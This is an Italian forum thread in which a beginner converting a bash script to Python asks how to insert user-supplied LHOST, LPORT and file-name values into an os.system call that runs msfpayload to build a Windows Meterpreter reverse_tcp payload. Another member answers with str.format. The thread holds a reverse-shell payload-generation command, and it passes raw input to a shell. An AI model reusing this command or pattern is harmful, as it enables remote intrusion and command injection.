Forum
>>
Programmazione Python
>>
Scripting
>>
Problema os.system aggiugnere altro al comando
Pagina: 1
Esegui il login per scrivere una risposta.
Pagina: 1
Scritto da f3b995 |
2017-08-03 16:35:37 - Problema os.system aggiugnere altro al comando
|
Buongiorno sono un nuovo utente, sto studiando python da circa una settimana e ho già creato dei piccoli programmini tipo pingtest e pulizia della cache su linux
Spiego il mio problema, utilizzo una distro linux basata sul penetration testing (Parrot Security OS 3.7) Ho deciso di "convertire" passtemi il termine, un mio vecchio script in bash al python, giusto per esercitarmi.. ma.. il problema lo segno nel codice con " *** " def Windows(): # Chiedo i parametri per la creazione del payload print lhost = raw_input("LHOST: ") lport = raw_input("LPORT: ") exe = raw_input("PAYLOAD NAME: ") # lancio il comando con i parametri richiesti os.system("msfpayload -p windows/meterpreter/reverse_tcp" + ***lhost,lport,exe)Ecco.. di fatto non capisco come aggiungere quei valori al comando.. Come posso rimediare e vorrei capire come fare ad aggiungere quei valori. |
|
Scritto da Daniele aka Palmux |
2017-08-03 17:07:38 - Re: Problema os.system aggiugnere altro al comando
|
Ciao caro, forse ti basta un semplice (adattalo alla sintassi corretta):
os.system("msfpayload -p windows/meterpreter/reverse_tcp***{},{},{}".format(lhost,lport,exe))Fammi sapere se funziona. Cya |
|
Scritto da f3b995 |
2017-08-03 17:37:11 - Re: Problema os.system aggiugnere altro al comando
|
Ottimo, Funziona!
Quindi era solo un problema di sintassi.. quindi le graffe rappresentano che in quel punto del comando va scritto quello che l'utente ha chiesto, giusto? |
|
Scritto da Daniele aka Palmux |
2017-08-04 01:15:29 - Re: Problema os.system aggiugnere altro al comando
|
|
Pagina: 1
Esegui il login per scrivere una risposta.